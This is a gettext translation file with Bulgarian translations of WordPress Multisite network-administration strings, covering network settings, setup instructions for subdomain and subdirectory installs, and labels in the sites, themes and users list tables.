msgid "Operational Settings" msgstr "Оперативни настройки" #: wp-admin/network/settings.php:60 msgid "<a href=\"https://codex.wordpress.org/Network_Admin_Settings_Screen\">Documentation on Network Settings</a>" msgstr "<a href=\"https://codex.wordpress.org/Network_Admin_Settings_Screen\">Документация за \"Настройки на мрежата\"</a>" #: wp-admin/network/settings.php:55 msgid "Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges." msgstr "Мрежовите администратори вече не се задават от екрана „Настройки“, а от списъка със съществуващи потребители в „Мрежов администратор“ > „Потребители“, където при избор на потребител, натискайки върху потребителското му име или бутонът „Редактиране“ под него, стигате до страницата „Редактиране на потребител“, където можете да сложите отметка, за да му предоставите права на мрежов администратор." #: wp-admin/network/settings.php:54 msgid "Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins." msgstr "Настройките показват/скриват менютата, така че единствено администратори на мрежата, но не и сайт-администратори, да имат право да активират разширенията." #: wp-admin/network/settings.php:52 msgid "Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only)." msgstr "Настройките за качване управляват размера на качените файлове и големината на наличното пространство за качване във всеки сайт. Можете да промените стойността по подразбиране за дадени сайтове, когато редактирате конкретен сайт. Разрешените файлови формати също са изброени (разделени само с интервал)." #: wp-admin/network/settings.php:51 msgid "New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what᾿s put in the first post, page, comment, comment author, and comment URL." msgstr "Когато се създаде нов сайт в мрежата, настройките му се задават по подразбиране. Те включват имейл за регистрация на нов сайт или нов потребител, а също и съдържанието на първите публикация, страница, коментар, автор на коментар и адрес (URL) на коментар." #: wp-admin/network/settings.php:50 msgid "Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network." msgstr "Настройките за регистрация могат да разрешават/забраняват публичните регистрации. Ако разрешите външните регистрации, инсталирайте анти-спам разширения на съответния сайт. Имената на сайтове, които са забранени, трябва да бъдат разделени с интервали (а не със запетаи)." #: wp-admin/network/settings.php:49 msgid "Operational settings has fields for the network’s name and admin email." msgstr "Оперативните настройки съдържат полета за наименование на мрежата и имейл на администратора." #: wp-admin/network/settings.php:48 msgid "This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site’s options." msgstr "Този екран задава и променя настройките на цялата мрежата. Първият сайт е основен сайт в мрежата и мрежовите настройки се извличат от неговите първоначални настройки." #: wp-admin/network/menu.php:67 wp-admin/network/settings.php:19 msgid "Network Settings" msgstr "Настройки на мрежата" #: wp-admin/network/menu.php:53 wp-admin/network/themes.php:253 msgctxt "theme" msgid "Add New" msgstr "Нова" #: wp-admin/network/menu.php:52 msgid "Installed Themes" msgstr "Инсталирани теми" #: wp-admin/network/menu.php:48 msgid "Themes %s" msgstr "Теми %s" #: wp-admin/network/menu.php:40 msgid "All Sites" msgstr "Всички сайтове" #: wp-admin/network/menu.php:34 wp-admin/network/upgrade.php:15 #: wp-admin/network/upgrade.php:40 wp-admin/network/upgrade.php:131 msgid "Upgrade Network" msgstr "Обновяване на мрежата" #: wp-admin/network/menu.php:29 msgid "Updates" msgstr "Актуализации" #: wp-admin/network/index.php:50 msgid "<a href=\"https://codex.wordpress.org/Network_Admin\">Documentation on the Network Admin</a>" msgstr "<a href=\"https://codex.wordpress.org/Network_Admin\" target=\"_blank\">Документация за мрежовата администрация</a>" #: wp-admin/network/index.php:44 msgid "Quick Tasks" msgstr "Задачи" #: wp-admin/network/index.php:40 msgid "To search for a site, <strong>enter the path or domain</strong>." msgstr "За търсене на сайт, <strong>въведете път или домейн</strong>." #: wp-admin/network/index.php:39 msgid "To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user*." msgstr "Търсенето на потребители става с въвеждане на <strong>имейл адрес или потребителско име</strong>. Използвайте търсене с малка част от името като например user*." #: wp-admin/network/index.php:38 msgid "To search for a user or site, use the search boxes." msgstr "За да търсите потребител или сайт, използвайте формите за търсене." #: wp-admin/network/index.php:37 msgid "To add a new site, <strong>click Create a New Site</strong>." msgstr "За да добавите нов сайт, изберете <strong>Създаване на нов сайт</strong>." #: wp-admin/network/index.php:36 msgid "To add a new user, <strong>click Create a New User</strong>." msgstr "За да добавите нов потребител, изберете <strong>Добавяне на нов потребител</strong>." #: wp-admin/network/index.php:35 msgid "The Right Now widget on this screen provides current user and site counts on your network." msgstr "Секцията В момента на този екран предоставя актуални данни за сайтoвете и потребителите от вашата мрежа." #: wp-admin/network/index.php:27 msgid "Modify global network settings" msgstr "Да променяте глобалните настройки на мрежата" #: wp-admin/network/index.php:26 msgid "Update your network" msgstr "Да обновявате мрежата" #: wp-admin/network/index.php:25 msgid "Install and activate themes or plugins" msgstr "Да инсталирате и активирате теми или разширения" #: wp-admin/network/index.php:24 msgid "Add and manage sites or users" msgstr "Да добавяте сайтове или потребители" #: wp-admin/network/index.php:23 msgid "From here you can:" msgstr "Оттук можете:" #: wp-admin/network/index.php:22 msgid "Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network." msgstr "Добре дошли в Мрежов администратор. Тази част от администраторските екрани служи за управление на вашата мрежа от сайтове." #: wp-admin/includes/network.php:603 msgid "Once you complete these steps, your network is enabled and configured. You will have to log in again." msgstr "След като преминете през тези стъпки, мрежата ви ще бъде включена и конфигурирана. Ще трябва да влезете отново." #. translators: 1: a filename like .htaccess. 2: a file path. #: wp-admin/includes/network.php:548 wp-admin/includes/network.php:588 msgid "Add the following to your %1$s file in %2$s, <strong>replacing</strong> other WordPress rules:" msgstr "Добавете следното във файла %1$s в %2$s, <strong>за да заместите</strong> други правила в WordPress:" #: wp-admin/includes/network.php:484 msgid "To make your installation more secure, you should also add:" msgstr "За да направите инсталацията по-сигурна, трябва да добавите:" #. translators: 1: wp-config.php #: wp-admin/includes/network.php:479 msgid "These unique authentication keys are also missing from your %s file." msgstr "Тези уникални ключове за автентикация също липсват във вашия файл %s." #. translators: 1: wp-config.php #: wp-admin/includes/network.php:473 msgid "This unique authentication key is also missing from your %s file." msgstr "Този уникален ключ за автентикация също липсва във вашия файл %s." #. translators: This string should only be translated if wp-config-sample.php #. is localized. You can check the localized release package or #. https://i18n.svn.wordpress.org/<locale code>/branches/<wp #. version>/dist/wp-config-sample.php #: wp-admin/includes/network.php:436 msgid "That’s all, stop editing! Happy blogging." msgstr "Това е всичко! Приятно писане! " #. translators: 1: wp-config.php 2: location of wp-config file, 3: translated #. version of "That's all, stop editing! Happy blogging." #: wp-admin/includes/network.php:428 msgid "Add the following to your %1$s file in %2$s <strong>above</strong> the line reading %3$s:" msgstr "Добавете следното към файла %1$s в %2$s <strong>над</strong> реда %3$s:" #. translators: 1: wp-config.php #: wp-admin/includes/network.php:417 msgid "We recommend you back up your existing %s file." msgstr "Препоръчваме ви да си направите резервно копие на съществуващия %s файл." #. translators: 1: wp-config.php 2: .htaccess #. translators: 1: wp-config.php 2: web.config #: wp-admin/includes/network.php:401 wp-admin/includes/network.php:409 msgid "We recommend you back up your existing %1$s and %2$s files." msgstr "Препоръчваме ви да си направите резервно копие на съществуващите %1$s и %2$s файлове." #: wp-admin/includes/network.php:395 msgid "Complete the following steps to enable the features for creating a network of sites." msgstr "За да активирате възможностите за създаване на мрежа от сайтове, изпълнете следващите стъпки." #: wp-admin/includes/network.php:394 msgid "Enabling the Network" msgstr "Активиране на Мрежата" #: wp-admin/includes/network.php:383 msgid "Please complete the configuration steps. To create a new network, you will need to empty or remove the network database tables." msgstr "Моля, завършете стъпките за настройване. За да създадете нова мрежа, трябва да изпразните или да премахнете таблиците за мрежата в базата данни." #: wp-admin/includes/network.php:382 msgid "An existing WordPress network was detected." msgstr "Засечена е вече съществуваща мрежа на WordPress." #: wp-admin/includes/network.php:377 msgid "The original configuration steps are shown here for reference." msgstr "Основните стъпки за конфигуриране са показани тук като пример." #: wp-admin/includes/network.php:326 msgid "Your email address." msgstr "Вашата електронна поща." #: wp-admin/includes/network.php:322 wp-admin/network/settings.php:132 msgid "Network Admin Email" msgstr "Имейл на администратора на мрежата" #: wp-admin/includes/network.php:317 msgid "What would you like to call your network?" msgstr "Как искате да се нарича вашата мрежа?" #: wp-admin/includes/network.php:313 wp-admin/network/settings.php:125 msgid "Network Title" msgstr "Име на мрежата" #: wp-admin/includes/network.php:295 msgid "Because your installation is not new, the sites in your WordPress network must use sub-domains." msgstr "Понеже инсталацията не е нова, сайтовете във вашата мрежа на WordPress трябва да използват поддомейни." #: wp-admin/includes/network.php:294 msgid "Sub-domain Installation" msgstr "Инсталация в поддомейн" #: wp-admin/includes/network.php:286 msgid "Because your installation is in a directory, the sites in your WordPress network must use sub-directories." msgstr "Понеже вашата инсталация е в директория, сайтовете в мрежата а WordPress трябва да използват поддиректории." #: wp-admin/includes/network.php:279 wp-admin/includes/network.php:289 #: wp-admin/includes/network.php:296 msgid "The main site in a sub-directory installation will need to use a modified permalink structure, potentially breaking existing links." msgstr "Основният сайт в инсталацията на под-директорията ще трябва да използва променена структура на връзките (permalink structure) и е възможно да счупи съществуващи връзки. " #. translators: 1: localhost 2: localhost.localdomain #: wp-admin/includes/network.php:273 msgid "Because you are using %1$s, the sites in your WordPress network must use sub-directories. Consider using %2$s if you wish to use sub-domains." msgstr "Тъй като използвате %1$s, сайтовете в мрежата ви трябва да използват под-директории. Ако желаете да използвате под-домейни, ще трябва да използвате %2$s." #: wp-admin/includes/network.php:269 wp-admin/includes/network.php:284 msgid "Sub-directory Installation" msgstr "Инсталация в поддиректория" #: wp-admin/includes/network.php:265 msgid "Network Details" msgstr "Подробности за мрежата" #. translators: %s: host name #: wp-admin/includes/network.php:257 wp-admin/includes/network.php:306 msgid "The internet address of your network will be %s." msgstr "Адресът в интернет на вашата мрежа ще бъде %s." #. translators: 1: site url 2: host name 3. www #: wp-admin/includes/network.php:246 msgid "We recommend you change your siteurl to %1$s before enabling the network feature. It will still be possible to visit your site using the %3$s prefix with an address like %2$s but any links will not have the %3$s prefix." msgstr "Препоръчваме ви да промените адреса на сайта си на %1$s преди да включите мрежата. Ще можете да отидете на сайта си използвайки представка %3$s с адрес като %2$s но връзките ви няма да имат представката %3$s." #: wp-admin/includes/network.php:243 wp-admin/includes/network.php:253 #: wp-admin/includes/network.php:302 msgid "Server Address" msgstr "Адрес на сървъра" #: wp-admin/includes/network.php:238 wp-admin/includes/network.php:554 #: wp-admin/includes/network.php:594 msgid "Subdirectory networks may not be fully compatible with custom wp-content directories." msgstr "Възможно е мрежите от под-директории да не са напълно съвместими с потребителски wp-content директории." #. translators: 1: hostname #: wp-admin/includes/network.php:228 msgctxt "subdirectory examples" msgid "like <code>%1$s/site1</code> and <code>%1$s/site2</code>" msgstr "като <code>%1$s/site1</code> и <code>%1$s/site2</code>" #: wp-admin/includes/network.php:225 msgid "Sub-directories" msgstr "Под-директории" #. translators: 1: hostname #: wp-admin/includes/network.php:220 msgctxt "subdomain examples" msgid "like <code>site1.%1$s</code> and <code>site2.%1$s</code>" msgstr "като <code>site1.%1$s</code> и <code>site2.%1$s</code>" #: wp-admin/includes/network.php:217 msgid "Sub-domains" msgstr "Под-домейни" #: wp-admin/includes/network.php:213 msgid "You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality." msgstr "Ще ви е нужен wildcard DNS record ако ще използвате функционалността за виртуален хост (под-домейн)." #: wp-admin/includes/network.php:212 msgid "You cannot change this later." msgstr "Няма да можете да промените това." #: wp-admin/includes/network.php:211 msgid "Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories." msgstr "Изберете дали искате сайтовете във вашата WordPress мрежа да използват поддомейни или поддиректории." #: wp-admin/includes/network.php:210 msgid "Addresses of Sites in your Network" msgstr "Адреси на сайтовете във вашата Мрежа" #. translators: 1: mod_rewrite, 2: mod_rewrite documentation URL, 3: Google #. search for mod_rewrite #: wp-admin/includes/network.php:200 msgid "If %1$s is disabled, ask your administrator to enable that module, or look at the <a href=\"%2$s\">Apache documentation</a> or <a href=\"%3$s\">elsewhere</a> for help setting it up." msgstr "Ако %1$s е изключен, помолете администратора си да го включи, разгледайте <a href=\"%2$s\">Документацията за Apache</a> или потърсете помощ за тези настройки <a href=\"%3$s\">другаде</a>." #. translators: %s: mod_rewrite #: wp-admin/includes/network.php:191 msgid "It looks like the Apache %s module is not installed." msgstr "Изглежда модулът Apache %s не е инсталиран." #. translators: %s: mod_rewrite #: wp-admin/includes/network.php:184 msgid "Please make sure the Apache %s module is installed as it will be used at the end of this installation." msgstr "Уверете се, че модулът Apache %s е инсталиран, защото ще е необходим в края на тази инсталация." #: wp-admin/includes/network.php:170 msgid "Fill in the information below and you’ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step." msgstr "Попълнете информацията отдолу за да започнете създаването на мрежа от сайтове на WordPress. Ще създадем конфигурационни файлове в следващата стъпка." #: wp-admin/includes/network.php:169 msgid "Welcome to the Network installation process!" msgstr "Добре дошли в процеса за създаване на мрежа!" #. translators: %s: Default network name #: wp-admin/includes/network.php:160 msgid "%s Sites" msgstr "%s Сайтове" #: wp-admin/includes/network.php:149 msgid "ERROR: The network could not be created." msgstr "ГРЕШКА: Не успяхме да създадем мрежата." #: wp-admin/includes/network.php:137 msgid "Return to Dashboard" msgstr "Обратно в таблото" #. translators: %s: port number #: wp-admin/includes/network.php:134 msgid "You cannot use port numbers such as %s." msgstr "Не може да използвате номера на портове като %s." #: wp-admin/includes/network.php:131 msgid "You cannot install a network of sites with your server address." msgstr "Не може да инсталирате мрежа от сайтове с вашия адрес на сървъра." #: wp-admin/includes/network.php:122 msgid "Once the network is created, you may reactivate your plugins." msgstr "След като създадете мрежата ще може повторно да активирате вашите разширения." #. translators: %s: Plugins screen URL #: wp-admin/includes/network.php:119 msgid "Please <a href=\"%s\">deactivate your plugins</a> before enabling the Network feature." msgstr "Моля, <a href=\"%s\">деактивирайте вашите разширения</a> преди да активирате мрежата." #: wp-admin/includes/network.php:117 wp-admin/includes/network.php:189 #: wp-admin/includes/network.php:238 wp-admin/includes/network.php:279 #: wp-admin/includes/network.php:289 wp-admin/includes/network.php:382 #: wp-admin/includes/network.php:554 wp-admin/includes/network.php:594 msgid "Warning:" msgstr "Внимание:" #. translators: %s: DO_NOT_UPGRADE_GLOBAL_TABLES #: wp-admin/includes/network.php:107 msgid "The constant %s cannot be defined when creating a network." msgstr "Константата %s не може да бъде дефинирана, когато се създава мрежа." #: wp-admin/includes/class-wp-ms-users-list-table.php:171 msgctxt "user" msgid "Registered" msgstr "Регистриран" #: wp-admin/includes/class-wp-ms-users-list-table.php:141 msgid "Super Admin <span class=\"count\">(%s)</span>" msgid_plural "Super Admins <span class=\"count\">(%s)</span>" msgstr[0] "Супер администратор <span class=\"count\">(%s)</span>" msgstr[1] "Супер администратори <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-ms-users-list-table.php:114 msgctxt "user" msgid "Not Spam" msgstr "Не е спамър" #: wp-admin/includes/class-wp-ms-users-list-table.php:113 msgctxt "user" msgid "Mark as Spam" msgstr "Отбелязване като спамър" #: wp-admin/includes/class-wp-ms-themes-list-table.php:636 msgid "Active Child Theme" msgstr "Активна дъщерна тема" #: wp-admin/includes/class-wp-ms-themes-list-table.php:631 msgid "Active Theme" msgstr "Активна тема" #: wp-admin/includes/class-wp-ms-themes-list-table.php:550 msgid "Visit Theme Site" msgstr "Към сайта на темата" #. translators: %s: theme name #: wp-admin/includes/class-wp-ms-themes-list-table.php:545 msgid "Visit %s homepage" msgstr "Към началната страница на %s" #: wp-admin/includes/class-wp-ms-themes-list-table.php:518 msgid "Broken Theme:" msgstr "Повредена тема:" #. translators: %s: theme name #: wp-admin/includes/class-wp-ms-themes-list-table.php:454 msgctxt "theme" msgid "Delete %s" msgstr "Изтриване на %s" #. translators: %s: theme name #: wp-admin/includes/class-wp-ms-themes-list-table.php:434 msgid "Network Disable %s" msgstr "Изключване на %s за мрежата" #. translators: %s: theme name #: wp-admin/includes/class-wp-ms-themes-list-table.php:431 msgid "Disable %s" msgstr "Изключване на %s" #. translators: %s: theme name #: wp-admin/includes/class-wp-ms-themes-list-table.php:412 msgid "Network Enable %s" msgstr "Разрешаване на %s за мрежата" #. translators: %s: theme name #: wp-admin/includes/class-wp-ms-themes-list-table.php:409 msgid "Enable %s" msgstr "Разрешаване на %s" #: wp-admin/includes/class-wp-ms-themes-list-table.php:332 #: wp-admin/includes/class-wp-ms-themes-list-table.php:440 msgid "Network Disable" msgstr "Изключване за мрежата" #: wp-admin/includes/class-wp-ms-themes-list-table.php:332 #: wp-admin/includes/class-wp-ms-themes-list-table.php:440 msgid "Disable" msgstr "Изключване" #: wp-admin/includes/class-wp-ms-themes-list-table.php:330 #: wp-admin/includes/class-wp-ms-themes-list-table.php:418 msgid "Enable" msgstr "Разрешаване" #: wp-admin/includes/class-wp-ms-themes-list-table.php:299 msgid "Broken <span class=\"count\">(%s)</span>" msgid_plural "Broken <span class=\"count\">(%s)</span>" msgstr[0] "Повередена <span class=\"count\">(%s)</span>" msgstr[1] "Повредени <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-ms-themes-list-table.php:293 msgid "Disabled <span class=\"count\">(%s)</span>" msgid_plural "Disabled <span class=\"count\">(%s)</span>" msgstr[0] "Изключена <span class=\"count\">(%s)</span>" msgstr[1] "Изключени <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-ms-themes-list-table.php:290 msgid "Enabled <span class=\"count\">(%s)</span>" msgid_plural "Enabled <span class=\"count\">(%s)</span>" msgstr[0] "Разрешени <span class=\"count\">(%s)</span>" msgstr[1] "Разрешени <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-ms-themes-list-table.php:287 msgctxt "themes" msgid "All <span class=\"count\">(%s)</span>" msgid_plural "All <span class=\"count\">(%s)</span>" msgstr[0] "Всички <span class=\"count\">(%s)</span>" msgstr[1] "Всички <span class=\"count\">(%s)</span>" #: wp-admin/includes/class-wp-ms-themes-list-table.php:245 msgid "Theme" msgstr "Тема" #: wp-admin/includes/class-wp-ms-themes-list-table.php:234 msgid "You do not appear to have any themes available at this time." msgstr "Към момента нямате теми на разположение." #: wp-admin/includes/class-wp-ms-themes-list-table.php:232 msgid "No themes found." msgstr "Няма намерени теми." #: wp-admin/includes/class-wp-ms-sites-list-table.php:525 msgctxt "verb; site" msgid "Archive" msgstr "Архивиране" #: wp-admin/includes/class-wp-ms-sites-list-table.php:523 msgid "Unarchive" msgstr "Разархивиране" #: wp-admin/includes/class-wp-ms-sites-list-table.php:358 msgid "Never" msgstr "Никога" #. translators: 1: site name, 2: site tagline. #: wp-admin/includes/class-wp-ms-sites-list-table.php:331 msgid "%1$s – %2$s" msgstr "%1$s – %2$s" #: wp-admin/includes/class-wp-ms-sites-list-table.php:228 #: wp-admin/network/site-info.php:163 msgctxt "site" msgid "Registered" msgstr "Регистриран" #: wp-admin/includes/class-wp-ms-sites-list-table.php:227 #: wp-admin/network/site-info.php:167 msgid "Last Updated" msgstr "Последно обновен" #: wp-admin/includes/class-wp-ms-sites-list-table.php:201 #: wp-admin/includes/class-wp-ms-sites-list-table.php:529 msgctxt "site" msgid "Not Spam" msgstr "Не е спам" #: wp-admin/includes/class-wp-ms-sites-list-table.php:200 msgctxt "site" msgid "Mark as Spam" msgstr "Отбелязване като спам" #: wp-admin/includes/class-wp-ms-sites-list-table.php:189 msgid "No sites found." msgstr "Не бяха намерени сайтове." #: wp-admin/includes/class-wp-ms-sites-list-table.php:42 #: wp-admin/network/site-info.php:177 msgid "Mature" msgstr "Съдържание за възрастни" #: wp-admin/includes/class-wp-ms-sites-list-table.php:41 #: wp-admin/network/site-info.php:175 msgid "Deleted" msgstr "Изтрит" #: wp-admin/includes/class-wp-ms-sites-list-table.php:40 #: wp-admin/includes/class-wp-ms-sites-list-table.php:531 #: wp-admin/network/site-info.php:174 msgctxt "site" msgid "Spam" msgstr "Спам" #: wp-admin/includes/class-wp-ms-sites-list-table.php:39 #: wp-admin/network/site-info.php:173 msgid "Archived" msgstr "Архивиран"
© 2026 UnknownSec